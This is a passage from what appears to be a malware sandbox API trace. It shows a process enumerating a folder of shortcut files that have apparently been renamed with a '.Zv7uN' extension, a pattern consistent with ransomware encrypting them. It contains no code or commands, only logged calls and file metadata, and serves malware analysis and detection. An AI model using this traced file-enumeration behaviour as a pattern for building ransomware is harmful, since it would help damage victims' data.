lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a388960, ftCreationTime.dwHighDateTime=0x1d42023, ftLastAccessTime.dwLowDateTime=0xce5f0760, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0xce5f0760, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x1f68, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="d93f411851d7c929.customDestinations-ms", cAlternateFileName="D93F41~1.CUS")) returned 1 [0084.947] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0084.947] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0084.947] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a388960, ftCreationTime.dwHighDateTime=0x1d42023, ftLastAccessTime.dwLowDateTime=0xce5f0760, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0xce5f0760, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x1f68, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="d93f411851d7c929.customDestinations-ms", cAlternateFileName="D93F41~1.CUS")) returned 0 [0084.947] GetLastError () returned 0x12 [0084.947] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0084.947] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe382bc20, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe382bc20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4e7ab1e0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x243, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="D1JRmpQ7-5.lnk.Zv7uN", cAlternateFileName="D1JRMP~1.ZV7")) returned 1 [0084.948] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.948] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.948] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe03a76c0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe3427700, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4e843760, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x998, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="dePX8rTxd.lnk.Zv7uN", cAlternateFileName="DEPX8R~1.ZV7")) returned 1 [0084.948] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.948] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.948] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d97bc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d97bc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1b0, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0084.948] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe15f3fe0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0x3d606620, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x4e8698c0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x12ee, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="dh8R.lnk.Zv7uN", cAlternateFileName="DH8RLN~1.ZV7")) returned 1 [0084.948] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.948] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.948] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d143a20, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d143a20, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x4e88fa20, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xf64, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="drHcU2ILp K.lnk.Zv7uN", cAlternateFileName="DRHCU2~1.ZV7")) returned 1 [0084.948] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.948] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.948] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf7021e0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2ef26e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4e8b5b80, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x9b8, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="DxP-tIBe7AmaJ6pj.lnk.Zv7uN", cAlternateFileName="DXP-TI~1.ZV7")) returned 1 [0084.948] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.948] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.948] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe312db80, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe312db80, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4e901e40, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xa8f, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="DZvDv8 7hIh_Mu9Whp.lnk.Zv7uN", cAlternateFileName="DZVDV8~1.ZV7")) returned 1 [0084.948] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.948] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.948] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1ee1260, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe1ee1260, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4e94e100, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x401, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="ea3ApgGf3IVp.lnk.Zv7uN", cAlternateFileName="EA3APG~1.ZV7")) returned 1 [0084.948] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.948] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.948] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe205e020, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe205e020, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4e94e100, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x1ace, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="EMtuZH-5jQdTrJmsCm.lnk.Zv7uN", cAlternateFileName="EMTUZH~1.ZV7")) returned 1 [0084.949] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.949] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.949] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2273360, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe306f4a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4e9e6680, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x976, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="EvnXETH8or.lnk.Zv7uN", cAlternateFileName="EVNXET~1.ZV7")) returned 1 [0084.949] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.949] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.949] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe24faac0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe24faac0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4ea0c7e0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x239, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="fdo1k2CX.lnk.Zv7uN", cAlternateFileName="FDO1K2~1.ZV7")) returned 1 [0084.949] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.949] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.949] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfe98800, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfe98800, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4ea32940, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x3fc, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="FfW70azs-Ha7.lnk.Zv7uN", cAlternateFileName="FFW70A~1.ZV7")) returned 1 [0084.949] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.949] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.949] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a09980, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0x3cbc2740, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x4ea58aa0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x13b9, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="FmpsaQJLUMaR.lnk.Zv7uN", cAlternateFileName="FMPSAQ~1.ZV7")) returned 1 [0084.949] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.949] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.949] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0f42200, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe0f42200, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4ea7ec00, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xf40, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="g5f gdHlfXDDwn2eSSD.lnk.Zv7uN", cAlternateFileName="G5FGDH~1.ZV7")) returned 1 [0084.949] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.949] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.949] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d678a40, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d678a40, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x4eaa4d60, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x3f7, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="gfNfTbYK35b.lnk.Zv7uN", cAlternateFileName="GFNFTB~1.ZV7")) returned 1 [0084.950] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.950] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.950] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2677880, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2677880, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4eaf1020, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x257, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="Hjea DQUQSLT3A.lnk.Zv7uN", cAlternateFileName="HJEADQ~1.ZV7")) returned 1 [0084.950] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.950] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.950] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe22bf620, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe22bf620, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4eb3d2e0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x9f1, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="hmE9.lnk.Zv7uN", cAlternateFileName="HME9LN~1.ZV7")) returned 1 [0084.950] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.950] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.950] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe24faac0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe24faac0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4eb63440, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x410, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="HQv2g4iB5_eiXxJt.lnk.Zv7uN", cAlternateFileName="HQV2G4~1.ZV7")) returned 1 [0084.950] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.950] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.950] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe230b8e0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe230b8e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4eb895a0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x150e, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="I3bWl8wArAF2fKrlEE.mkv.lnk.Zv7uN", cAlternateFileName="I3BWL8~1.ZV7")) returned 1 [0084.950] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.950] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.950] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d358d60, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d358d60, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x4ebaf700, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xe3e, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="I9T1DkViXh.mkv.lnk.Zv7uN", cAlternateFileName="I9T1DK~1.ZV7")) returned 1 [0084.951] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.951] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.951] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe104cba0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0x3d6eae60, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x4ecba0a0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xe6e, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="Id3VnokaSQb1-.lnk.Zv7uN", cAlternateFileName="ID3VNO~1.ZV7")) returned 1 [0084.951] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.951] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.951] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe382bc20, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe382bc20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4ecba0a0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x40b, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="iDeZDB_thMy_znW.flv.lnk.Zv7uN", cAlternateFileName="IDEZDB~1.ZV7")) returned 1 [0084.951] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.951] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.951] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d143a20, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d737120, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x4ece0200, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x9e1, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="ITkZucPgXtfuH72ld.lnk.Zv7uN", cAlternateFileName="ITKZUC~1.ZV7")) returned 1 [0084.951] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.951] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.951] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2f8ac60, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2f8ac60, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4ed2c4c0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x14a9, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="J-v2Kn6wrqYZ8FKCS0WZ.ots.lnk.Zv7uN", cAlternateFileName="J-V2KN~1.ZV7")) returned 1 [0084.951] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.951] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.951] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf1cd1c0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf1cd1c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4ed52620, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xa6e, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="j5qVGDC 3 7fjtI.lnk.Zv7uN", cAlternateFileName="J5QVGD~1.ZV7")) returned 1 [0084.951] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.951] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.951] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1d3e340, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe1d3e340, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4ed78780, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xa8f, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="J9WQ72qd-NL9SUaxFK.lnk.Zv7uN", cAlternateFileName="J9WQ72~1.ZV7")) returned 1 [0084.952] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.952] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.952] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe21b4c80, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe21b4c80, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4ed9e8e0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xe6a, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="jRDJUl7IMjUxPV.mkv.lnk.Zv7uN", cAlternateFileName="JRDJUL~1.ZV7")) returned 1 [0084.952] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.952] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, 